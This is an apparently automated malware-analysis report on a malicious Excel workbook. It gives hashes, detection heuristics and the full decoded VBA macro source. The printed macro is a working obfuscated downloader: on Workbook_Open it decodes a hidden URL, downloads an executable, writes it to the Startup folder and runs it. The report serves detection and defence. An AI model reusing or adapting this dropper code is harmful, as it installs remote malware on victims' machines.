Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4db135ae885aafd3…

MALICIOUS

Office (OLE)

166.5 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: f4bccd97c705c47a6da06b6d516dddd0 SHA-1: a7920e587eaf65ef616cc412720fc39b14022b09 SHA-256: 4db135ae885aafd399ef1f8981b57ef05d4b20e754455b1098144d7c05d9a5af
350 Risk Score

Heuristics 10

  • ClamAV: Xls.Downloader.Generic-6839042-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Generic-6839042-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    QMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJVYCRXXFHJFRYUNEFPEGNLDJVVJOUISITDPDIFOGRJOR = CreateObject("WScript.Shell").Specialfolders(7) + HPOZRWZXEMNXYDOFTCSVFJETRRQTLILBOHPQSOBPEWUOYUPWCSSMGTEKRIRKMYTRPXWISFIGMNUGGLQNCKTENKFUZ
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    DQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILBOHPQSOBPEWUOYUPWCSSMGTEKRIRKMYTRPXWISFIG = WISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLO.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set SSMGTEKRIRKMYTRPXWISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWG = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5036 bytes
SHA-256: a2cd2be63ea6e2d0b91e03ce114d9af62d0a6c34c8e08c66792444863c6f4595
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub robert()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_open()
Set SSMGTEKRIRKMYTRPXWISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWG = CreateObject("Shell.Application")
Set WISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLO = CreateObject("microsoft.xmlhttp")
Set EFPEGNLDJVVJOUISITDPDIFOGRJORPVELPQUHESTKNWBVLJJILDHKSGGNIKGSHWVMGQMHOTLKEERVDQZQCLRLK = CreateObject("adodb.stream")
HPOZRWZXEMNXYDOFTCSVFJETRRQTLILBOHPQSOBPEWUOYUPWCSSMGTEKRIRKMYTRPXWISFIGMNUGGLQNCKTENKFUZ = VMGQMHOTLKEERVDQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILBOHPQSOBPEWUOYUPWCSSMGTEKRIRKMYTRPXW("]SQLUQLSX/fyf")
MNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJVYCRXXFHJFRYUN = VMGQMHOTLKEERVDQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILBOHPQSOBPEWUOYUPWCSSMGTEKRIRKMYTRPXW("iuuq;00pofesjwfofu/yz{0`pvuqvu674D541/fyf!")

QMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJVYCRXXFHJFRYUNEFPEGNLDJVVJOUISITDPDIFOGRJOR = CreateObject("WScript.Shell").Specialfolders(7) + HPOZRWZXEMNXYDOFTCSVFJETRRQTLILBOHPQSOBPEWUOYUPWCSSMGTEKRIRKMYTRPXWISFIGMNUGGLQNCKTENKFUZ
WISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLO.Open "GET", MNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJVYCRXXFHJFRYUN, False
WISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLO.send
DQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILBOHPQSOBPEWUOYUPWCSSMGTEKRIRKMYTRPXWISFIG = WISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLO.responseBody
If WISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLO.Status = 200 Then
EFPEGNLDJVVJOUISITDPDIFOGRJORPVELPQUHESTKNWBVLJJILDHKSGGNIKGSHWVMGQMHOTLKEERVDQZQCLRLK.Open
EFPEGNLDJVVJOUISITDPDIFOGRJORPVELPQUHESTKNWBVLJJILDHKSGGNIKGSHWVMGQMHOTLKEERVDQZQCLRLK.Type = 1
EFPEGNLDJVVJOUISITDPDIFOGRJORPVELPQUHESTKNWBVLJJILDHKSGGNIKGSHWVMGQMHOTLKEERVDQZQCLRLK.Write DQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILBOHPQSOBPEWUOYUPWCSSMGTEKRIRKMYTRPXWISFIG
EFPEGNLDJVVJOUISITDPDIFOGRJORPVELPQUHESTKNWBVLJJILDHKSGGNIKGSHWVMGQMHOTLKEERVDQZQCLRLK.SaveToFile QMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJVYCRXXFHJFRYUNEFPEGNLDJVVJOUISITDPDIFOGRJOR, 2
EFPEGNLDJVVJOUISITDPDIFOGRJORPVELPQUHESTKNWBVLJJILDHKSGGNIKGSHWVMGQMHOTLKEERVDQZQCLRLK.Close
End If
SSMGTEKRIRKMYTRPXWISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWG.Open (QMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJVYCRXXFHJFRYUNEFPEGNLDJVVJOUISITDPDIFOGRJOR)


End Sub

Function VMGQMHOTLKEERVDQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILBOHPQSOBPEWUOYUPWCSSMGTEKRIRKMYTRPXW(ISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOS)
RIRKMYTRPXWISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVD = 10 - 9
        PVELPQUHESTKNWBVLJJILDHKSGGNIKGSHWVMGQMHOTLKEERVDQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILB = ""
    For OHPQSOBPEWUOYUPWCSSMGTEKRIRKMYTRPXWISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQ = RIRKMYTRPXWISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVD To Len(ISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOS)
        VLJJILDHKSGGNIKGSHWVMGQMHOTLKEERVDQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILBOHPQSOBPEWUOYUPWCSSMGTEK = Asc(Mid(ISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOS, OHPQSOBPEWUOYUPWCSSMGTEKRIRKMYTRPXWISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQ, RIRKMYTRPXWISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVD))

            ZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJVYCRXXFHJFRYUNEFPEGNLDJVVJOUISITDPDIFOGRJORPVELPQUHESTKNWB = VLJJILDHKSGGNIKGSHWVMGQMHOTLKEERVDQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILBOHPQSOBPEWUOYUPWCSSMGTEK - RIRKMYTRPXWISFIGMNUGGLQNCKTENKFUZZYBTQTJPPXYBWJQMFVWHVXFKUBUNCMMZQZSUHUZWGFQBNJHNVD
        PVELPQUHESTKNWBVLJJILDHKSGGNIKGSHWVMGQMHOTLKEERVDQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILB = PVELPQUHESTKNWBVLJJILDHKSGGNIKGSHWVMGQMHOTLKEERVDQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILB & Chr(ZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJVYCRXXFHJFRYUNEFPEGNLDJVVJOUISITDPDIFOGRJORPVELPQUHESTKNWB)
    Next
    VMGQMHOTLKEERVDQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILBOHPQSOBPEWUOYUPWCSSMGTEKRIRKMYTRPXW = PVELPQUHESTKNWBVLJJILDHKSGGNIKGSHWVMGQMHOTLKEERVDQZQCLRLKHPOZRWZXEMNXYDOFTCSVFJETRRQTLILB
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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